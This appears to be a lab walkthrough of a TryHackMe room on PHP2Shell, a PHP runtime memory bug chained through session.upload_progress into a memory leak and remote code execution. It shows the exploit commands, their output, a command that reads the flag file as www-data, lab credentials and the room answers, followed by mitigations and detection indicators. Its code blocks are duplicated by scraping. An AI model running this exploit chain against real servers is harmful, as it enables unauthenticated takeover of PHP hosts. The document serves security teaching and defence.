October 22, 2026
PHP2Shell โ TryHackMe Walkthrough
Exploit the PHP2Shell runtime CVEs via session.upload_progress for unauthenticated RCE.

By Hasnain Ali Magwa
5 min read
Room: PHP2Shell Difficulty/Time: ~60 minutes Room Link: https://tryhackme.com/room/cvephp2shell Release Date: 22 October 2026
Task 1 โ Introduction
Overview
PHP2Shell is a PHP runtime vulnerability that allows an unauthenticated attacker to achieve Remote Code Execution (RCE) through session.upload_progress.
The important part is that the vulnerability exists in the PHP runtime, not in the web application. The attack works through specially crafted HTTP requests before the application's PHP code even starts executing.
The room covers two vulnerabilities:
- CVE-2026โ109618 โ Memory Disclosure
- CVE-2026โ109619 โ Remote Code Execution
Both vulnerabilities are rated 9.2 Critical (CVSS v4.0).
Connecting to the Lab
Start the machine and connect using SSH:
ssh ubuntu@MACHINE_IPssh ubuntu@MACHINE_IPCredentials:
Username: ubuntu
Password: tryhackmeUsername: ubuntu
Password: tryhackmeThe vulnerable PHP server is running locally on:
127.0.0.1:8088127.0.0.1:8088The target runs inside a Docker container and uses a vulnerable PHP 8.4.26 installation.
Learning Objectives
By the end of the room, we will understand:
- How
session.upload_progressworks. - How a PHP memory bailout creates a dangling pointer.
- How CVE-2026โ109618 leaks process memory and defeats ASLR.
- How CVE-2026โ109619 turns the corrupted state into RCE.
- How to detect and mitigate the vulnerability.
Task 1 completed.
Task 2 โ A Harmless Feature: Upload Progress
PHP provides a feature called session.upload_progress to track the progress of file uploads.
When a multipart/form-data request contains the upload-progress field, PHP records information about the upload in $_SESSION, such as the upload name, size, and bytes received.
The important detail is when this happens.
Upload-progress processing occurs while PHP is parsing the request body, before the application's PHP code executes. Therefore, the target application does not need session_start(), authentication, or any vulnerable upload functionality.
The default form field used to activate upload-progress tracking is:
PHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESSThis early execution point is what gives PHP2Shell its attack surface.
Question
What is the default name of the form field that switches on PHP's upload-progress tracking?
Answer
PHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESSTask 3 โ The Bug: A Bailout at the Wrong Moment
PHP uses the memory_limit directive to restrict memory usage per request. When a request exceeds this limit, PHP triggers a fatal error and performs a bailout using longjmp().
Normally, PHP cleans up allocated memory and clears the pointers referencing it. However, a bailout can interrupt this cleanup process.
If memory is freed before its pointer is cleared, the pointer becomes a dangling pointer. With Apache's prefork + mod_php setup, the same worker can handle the next request, allowing the attacker to influence the memory that the stale pointer now references.
This creates the foundation for the two PHP2Shell vulnerabilities:
- CVE-2026โ109618 โ Memory disclosure
- CVE-2026โ109619 โ Remote Code Execution
The weakness is classified as CWE-824.
Questions
What one-word name does the PHP engine give to the longjmp it performs to abort a request that hits a fatal error such as running out of memory?
Answer
bailoutbailoutWhat is the CWE identifier for the weakness class behind PHP2Shell?
Answer
CWE-824CWE-824Task 4 โ Reconnaissance: Confirming the Target
First, check the running Docker container:
docker ps --format '{{.Names}} {{.Image}} {{.Status}}'docker ps --format '{{.Names}} {{.Image}} {{.Status}}'Then check the PHP version:
docker exec php2shell-target php -vdocker exec php2shell-target php -vThe target is running:
PHP 8.4.26PHP 8.4.26Check the target page:
curl -s http://127.0.0.1:8088/index.phpcurl -s http://127.0.0.1:8088/index.phpOutput:
OKOKThe application itself is only:
<?php echo "OK\n"; ?><?php echo "OK\n"; ?>So there is no application-level vulnerability to exploit. The vulnerability exists in the PHP runtime.
Questions
What version of PHP is the target server running?
Answer
8.4.268.4.26What single word does the target page at /index.php print in response?
Answer
OKOKTask 5 โ Leaking Memory and Defeating ASLR (CVE-2026โ109618)
Modern systems use ASLR (Address Space Layout Randomization) to randomize memory addresses.
CVE-2026โ109618 abuses the dangling pointer created by the previous bailout. The exploit causes PHP to treat a corrupted session ID as a much larger string than it really is, making PHP return adjacent process memory through the session cookie.
The leaked memory is returned in:
Set-Cookie: PHPSESSID=...Set-Cookie: PHPSESSID=...The exploit performs two leaks:
- Heap leak โ obtains the PHP heap address.
- libphp leak โ obtains the PHP library address.
Run the exploit:
cd ~/php2shell-bypass-aslr-exp
python3 exploit.py -u http://127.0.0.1:8088/index.phpcd ~/php2shell-bypass-aslr-exp
python3 exploit.py -u http://127.0.0.1:8088/index.phpYou should see output similar to:
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x...
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x...[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x...
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x...These leaked addresses allow the exploit to defeat ASLR.
Question
Which HTTP response header does CVE-2026โ109618 abuse to return leaked process memory to the attacker?
Answer
Set-CookieSet-CookieTask 6 โ From a Leak to a Shell (CVE-2026โ109619)
After the previous task leaked the heap and libphp addresses, the exploit can use that information to bypass ASLR and achieve code execution.
CVE-2026โ109619 works by reoccupying the freed memory with a forged PHP HashTable. Its pDestructor pointer is manipulated to point to system().
When PHP later performs cleanup, it calls the attacker-controlled pointer:
HashTable
โ
pDestructor
โ
system()
โ
Attacker's commandHashTable
โ
pDestructor
โ
system()
โ
Attacker's commandThe exploit therefore turns the memory corruption into Remote Code Execution.
Exploitation
Run the exploit:
python3 exploit.py -u http://127.0.0.1:8088/index.phppython3 exploit.py -u http://127.0.0.1:8088/index.phpThe exploit performs the chain:
1. Rotate worker
2. Leak heap address
3. Leak libphp address
4. Forge HashTable
5. Execute command1. Rotate worker
2. Leak heap address
3. Leak libphp address
4. Forge HashTable
5. Execute commandThe output confirms execution as:
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)Therefore, the commands execute as the www-data user.
Reading the Flag
The flag is located at /f.
Use the exploit to read it:
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'cat /f>/out/p1' --proof-file out/p1python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'cat /f>/out/p1' --proof-file out/p1The exploit returns:
PROOF: THM{Redacted}PROOF: THM{Redacted}Questions
When the exploit runs, which system user do the commands execute as?
Answer
www-datawww-dataWhat is the flag returned by the exploit?
Answer
THM{Redacted}THM{Redacted}Task 7 โ Detection, Mitigation and the Real Fix
PHP2Shell exists in the PHP runtime, so updating the web application alone does not fix it. The proper fix is to upgrade PHP to a patched release and restart the affected workers.
For PHP 8.4, the fixed version is:
8.4.278.4.27Other fixed branches mentioned in the room are:
8.5.12
8.4.27
8.3.36
8.2.358.5.12
8.4.27
8.3.36
8.2.35Temporary Mitigation
The upload-progress feature used by the attack can be disabled with:
session.upload_progress.enabled = 0session.upload_progress.enabled = 0After changing the configuration, restart the PHP/Apache workers.
Other temporary measures include disabling OPcache:
opcache.enable = 0opcache.enable = 0On PHP 8.5, the room also mentions:
fatal_error_backtraces = 0fatal_error_backtraces = 0Blocking multipart/form-data requests at a network layer can also prevent the attack delivery mechanism, although it may break legitimate file uploads.
Detection
Some useful indicators include:
- Abnormally large
PHPSESSIDvalues inSet-Cookieheaders. - Large
multipart/form-dataPOST requests. - Requests containing
PHP_SESSION_UPLOAD_PROGRESS. - Unusually high multipart field counts.
- PHP out-of-memory errors.
- PHP worker crashes or restarts.
A PHP-based in-process WAF is not a complete defence because the vulnerable processing occurs before application code executes.
Questions
Which PHP 8.4 release fixes PHP2Shell?
Answer
8.4.278.4.27Which php.ini directive, set to 0, disables the feature the attack relies on for delivery?
Answer
session.upload_progress.enabledsession.upload_progress.enabledTask 8 โ Conclusion
PHP2Shell is a reminder that the software stack does not stop at the application. A single mistake in how the PHP engine recovered from running out of memory, present and unnoticed since 2012, exposed an unauthenticated path to code execution on a large share of the web's servers at once, independent of which framework or CMS sat on top. The lesson for defenders is to treat the runtime as part of the attack surface and to patch it with the same urgency as the application, because a flaw this deep cannot be reached by securing the layers above it.
In this room you saw the harmless upload-progress feature that gave the attack its pre-authentication foothold, the memory bailout that left a pointer dangling into the next request, the memory disclosure that read the server's own addresses out of a cookie header to defeat ASLR, and the forged destructor that finished the job as remote code execution. You then ran the full chain against a vulnerable server and read a flag as the web server user, from nothing but ordinary HTTP requests.
If you would like to go deeper, read the engine internals in PHP's own advisories, GHSA-w8hw-w9fX-j79w and GHSA-6wmf-4rv5-p3rp, and compare this class of bug with the memory-safety issues you may have met in compiled languages. The underlying weakness, a pointer used after the thing it pointed to was gone, is the same story told in a new setting.
Well done for completing the room.
Room Link: https://tryhackme.com/room/cvephp2shell My Links: https://linktr.ee/hasnainalimagwa